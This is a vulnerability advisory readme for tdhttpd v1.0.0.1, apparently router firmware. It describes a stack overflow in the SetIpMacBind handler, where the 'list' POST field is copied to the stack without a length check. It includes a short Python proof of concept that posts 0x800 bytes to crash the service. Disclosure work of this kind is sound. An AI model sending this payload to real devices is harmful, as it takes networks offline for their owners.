Skip to content

Latest commit

 

History

History
32 lines (20 loc) · 879 Bytes

readme.md

File metadata and controls

32 lines (20 loc) · 879 Bytes

Overview

Affected version

v1.0.0.1

Vulnerability details

tdhttpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the fromSetIpMacBind function, which is accessible via the URL goform/SetIpMacBind.

  • 1.png

The function takes the POST argument list, does not verify its length, and copies it directly to a local variable on the stack, causing a stack overflow.

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"list": b'A'*0x800,
    b"bindnum": b"1"
}
res = requests.post("http://127.0.0.1/goform/SetIpMacBind", data=data)
print(res.content)